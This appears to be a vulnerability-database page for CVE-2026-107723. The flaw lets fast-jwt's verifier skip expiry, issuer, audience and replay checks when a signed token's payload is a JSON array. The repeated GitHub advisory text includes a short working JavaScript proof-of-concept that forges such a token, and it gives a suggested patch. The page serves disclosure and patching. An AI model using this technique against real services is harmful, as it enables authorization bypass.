CVE-2026-107723
fast-jwt : Silent claim-validator bypass when JWT payload is a JSON array
fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.3.0, fast-jwt createVerifier accepts a validly signed JWT whose payload is a JSON array because src/decoder.js checks that the payload is an object but does not reject arrays. The claim validator loop then finds no named exp, nbf, iss, aud, sub, jti, or nonce properties and silently skips those configured checks, returning the array as a successfully verified payload. An attacker who can produce or influence a validly signed token may bypass expiry, issuer, audience, subject, revocation, and replay protections. The opt-in requiredClaims option can block missing claims, and signature verification itself is not bypassed. This issue is fixed in version 6.3.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
8.1
fast-jwt : Silent claim-validator bypass when JWT payload is a JSON array
fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.3.0, fast-jwt createVerifier accepts a validly signed JWT whose payload is a JSON array because src/decoder.js checks that the payload is an object but does not reject arrays. The claim validator loop then finds no named exp, nbf, iss, aud, sub, jti, or nonce properties and silently skips those configured checks, returning the array as a successfully verified payload. An attacker who can produce or influence a validly signed token may bypass expiry, issuer, audience, subject, revocation, and replay protections. The opt-in requiredClaims option can block missing claims, and signature verification itself is not bypassed. This issue is fixed in version 6.3.0.
- Record
CVE-2026-107723- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-1287
- Updated
- 2026-11-02
EUVDEUVD-2026-95348
8.1
fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.3.0, fast-jwt createVerifier accepts a validly signed JWT whose payload is a JSON array because src/decoder.js checks that the payload is an object but does not reject arrays. The claim validator loop then finds no named exp, nbf, iss, aud, sub, jti, or nonce properties and silently skips those configured checks, returning the array as a successfully verified payload. An attacker who can produce or influence a validly signed token may bypass expiry, issuer, audience, subject, revocation, and replay protections. The opt-in requiredClaims option can block missing claims, and signature verification itself is not bypassed. This issue is fixed in version 6.3.0.
- Record
EUVD-2026-95348- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-5hjw-83fp-phq9
8.1
fast-jwt : Silent claim-validator bypass when JWT payload is a JSON array
Summary
fast-jwt's createVerifier silently skips all configured claim validators (exp, nbf, iss, aud, sub, jti, nonce) when a validly-signed JWT carries a JSON array as its payload instead of an object. The verifier reports success while having enforced only the signature. This breaks the library's documented allowedIss / allowedAud / allowedSub / expiry / replay-protection guarantees and violates RFC 7519 §7.2 step 10, which requires the JWT Claims Set to be a JSON object.
Details
The decoder validates the header is a non-array object but the payload check is missing the Array.isArray guard:
// src/decoder.js:49 — header check (correct)
if (!header || typeof header !== 'object' || Array.isArray(header)) {
throw new TokenError(TokenError.codes.malformed, 'The token header is not a valid JSON object.')
}
// src/decoder.js:65 — payload check (vulnerable)
if (!payload || typeof payload !== 'object') { // typeof [] === 'object'
throw new TokenError(TokenError.codes.invalidPayload, 'The payload must be an object', { payload })
}
Because typeof [] === 'object' in JavaScript, an array payload passes the decoder.
In the verifier's validator loop, every check is short-circuited by an in-test that is always false for an array (arrays have only
numeric indices and length):
// src/verifier.js:304-323
for (const { type, claim, allowed, array, modifier, greater, errorCode, errorVerb } of validators) {
const value = payload[claim]
...
if (!(claim in payload)) { // 'exp' in [] === false, 'iss' in [] === false, etc.
continue // every validator silently skipped
}
...
}
Result: exp, nbf, iss (allowedIss), aud (allowedAud), sub (allowedSub), jti, and nonce checks are all skipped without any error
returned to the caller. The verifier returns the array as the payload.
requiredClaims, which uses the same in-test but throws instead of continue (verifier.js:295), does block the bypass — but it is
opt-in and not commonly configured.
GHSA-gm45-q3v2-6cf8 (CVE-2025-30144) previously patched the case where an individual claim value is an array. That fix operates
inside the validator loop body and is never reached for this variant.
PoC
const { createVerifier } = require('fast-jwt')
const crypto = require('crypto')
const key = 'shared-secret'
const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url')
const payload = Buffer.from(JSON.stringify(['attacker', 'role:admin'])).toString('base64url')
const sig = crypto.createHmac('sha256', key).update(`${header}.${payload}`).digest('base64url')
const token = `${header}.${payload}.${sig}`
const verify = createVerifier({
key,
allowedIss: ['legit-issuer'],
allowedAud: ['legit-audience'],
allowedSub: ['legit-subject']
// exp enforcement is on by default
})
console.log(verify(token))
// Output: [ 'attacker', 'role:admin' ]
// No error thrown. allowedIss/allowedAud/allowedSub/exp all skipped.
// Control: an object payload with the same garbage claims is correctly rejected:
const bad = Buffer.from(JSON.stringify({ iss: 'attacker', exp: 1 })).toString('base64url')
const sig2 = crypto.createHmac('sha256', key).update(`${header}.${bad}`).digest('base64url')
verify(`${header}.${bad}.${sig2}`)
// Throws: "The token has expired at 1970-01-01T00:00:01.000Z."
Verified against fast-jwt v6.2.4 (current master, commit a510448).
Suggested patch (src/decoder.js:65):
- if (!payload || typeof payload !== 'object') {
- if (!payload || typeof payload !== 'object' || Array.isArray(payload)) { throw new TokenError(TokenError.codes.invalidPayload, 'The payload must be an object', { payload }) }
This mirrors the existing header guard at line 49.
Impact
Type: Silent authorization-validator bypass. When a validly-signed…
- Record
GHSA-5hjw-83fp-phq9- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-1287
- Updated
- 2026-11-02
NVD
8.1
fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.3.0, fast-jwt createVerifier accepts a validly signed JWT whose payload is a JSON array because src/decoder.js checks that the payload is an object but does not reject arrays. The claim validator loop then finds no named exp, nbf, iss, aud, sub, jti, or nonce properties and silently skips those configured checks, returning the array as a successfully verified payload. An attacker who can produce or influence a validly signed token may bypass expiry, issuer, audience, subject, revocation, and replay protections. The opt-in requiredClaims option can block missing claims, and signature verification itself is not bypassed. This issue is fixed in version 6.3.0.
- Record
CVE-2026-107723- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-1287
- Updated
- 2026-11-02
OSV
8.1
fast-jwt : Silent claim-validator bypass when JWT payload is a JSON array
fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.3.0, fast-jwt createVerifier accepts a validly signed JWT whose payload is a JSON array because src/decoder.js checks that the payload is an object but does not reject arrays. The claim validator loop then finds no named exp, nbf, iss, aud, sub, jti, or nonce properties and silently skips those configured checks, returning the array as a successfully verified payload. An attacker who can produce or influence a validly signed token may bypass expiry, issuer, audience, subject, revocation, and replay protections. The opt-in requiredClaims option can block missing claims, and signature verification itself is not bypassed. This issue is fixed in version 6.3.0.
- Record
CVE-2026-107723- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-1287
- Updated
- 2026-11-02
OSVGHSA-5hjw-83fp-phq9
8.1
fast-jwt : Silent claim-validator bypass when JWT payload is a JSON array
Summary
fast-jwt's createVerifier silently skips all configured claim validators (exp, nbf, iss, aud, sub, jti, nonce) when a validly-signed JWT carries a JSON array as its payload instead of an object. The verifier reports success while having enforced only the signature. This breaks the library's documented allowedIss / allowedAud / allowedSub / expiry / replay-protection guarantees and violates RFC 7519 §7.2 step 10, which requires the JWT Claims Set to be a JSON object.
Details
The decoder validates the header is a non-array object but the payload check is missing the Array.isArray guard:
// src/decoder.js:49 — header check (correct)
if (!header || typeof header !== 'object' || Array.isArray(header)) {
throw new TokenError(TokenError.codes.malformed, 'The token header is not a valid JSON object.')
}
// src/decoder.js:65 — payload check (vulnerable)
if (!payload || typeof payload !== 'object') { // typeof [] === 'object'
throw new TokenError(TokenError.codes.invalidPayload, 'The payload must be an object', { payload })
}
Because typeof [] === 'object' in JavaScript, an array payload passes the decoder.
In the verifier's validator loop, every check is short-circuited by an in-test that is always false for an array (arrays have only
numeric indices and length):
// src/verifier.js:304-323
for (const { type, claim, allowed, array, modifier, greater, errorCode, errorVerb } of validators) {
const value = payload[claim]
...
if (!(claim in payload)) { // 'exp' in [] === false, 'iss' in [] === false, etc.
continue // every validator silently skipped
}
...
}
Result: exp, nbf, iss (allowedIss), aud (allowedAud), sub (allowedSub), jti, and nonce checks are all skipped without any error
returned to the caller. The verifier returns the array as the payload.
requiredClaims, which uses the same in-test but throws instead of continue (verifier.js:295), does block the bypass — but it is
opt-in and not commonly configured.
GHSA-gm45-q3v2-6cf8 (CVE-2025-30144) previously patched the case where an individual claim value is an array. That fix operates
inside the validator loop body and is never reached for this variant.
PoC
const { createVerifier } = require('fast-jwt')
const crypto = require('crypto')
const key = 'shared-secret'
const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url')
const payload = Buffer.from(JSON.stringify(['attacker', 'role:admin'])).toString('base64url')
const sig = crypto.createHmac('sha256', key).update(`${header}.${payload}`).digest('base64url')
const token = `${header}.${payload}.${sig}`
const verify = createVerifier({
key,
allowedIss: ['legit-issuer'],
allowedAud: ['legit-audience'],
allowedSub: ['legit-subject']
// exp enforcement is on by default
})
console.log(verify(token))
// Output: [ 'attacker', 'role:admin' ]
// No error thrown. allowedIss/allowedAud/allowedSub/exp all skipped.
// Control: an object payload with the same garbage claims is correctly rejected:
const bad = Buffer.from(JSON.stringify({ iss: 'attacker', exp: 1 })).toString('base64url')
const sig2 = crypto.createHmac('sha256', key).update(`${header}.${bad}`).digest('base64url')
verify(`${header}.${bad}.${sig2}`)
// Throws: "The token has expired at 1970-01-01T00:00:01.000Z."
Verified against fast-jwt v6.2.4 (current master, commit a510448).
Suggested patch (src/decoder.js:65):
- if (!payload || typeof payload !== 'object') {
- if (!payload || typeof payload !== 'object' || Array.isArray(payload)) { throw new TokenError(TokenError.codes.invalidPayload, 'The payload must be an object', { payload }) }
This mirrors the existing header guard at line 49.
Impact
Type: Silent authorization-validator bypass. When a validly-signed…
- Record
GHSA-5hjw-83fp-phq9- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-1287
- Updated
- 2026-11-02
Affected products
Affected packages
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-107723 is a high vulnerability (CVSS 8.1) in Nearform Fast-jwt, published October 8, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.46%, the 39th percentile. Fixed in fast-jwt 6.3.0.
References
github.com/nearform/fast-jwt/security/advisories/GHSA-5hjw-83fp-phq9
github.com/nearform/fast-jwt/pull/639
github.com/nearform/fast-jwt/commit/86e83efd8b5244f50859532d99244f0a9a9a4368
github.com/nearform/fast-jwt/releases/tag/v6.3.0
github.com/advisories/GHSA-5hjw-83fp-phq9
github.com/CVEProject/cvelistV5/tree/main/cves/2026/107xxx/CVE-2026-107723.json
nvd.nist.gov/vuln/detail/CVE-2026-107723
github.com/nearform/fast-jwt
Left out here: the rest of 2 source descriptions. The JSON record has them.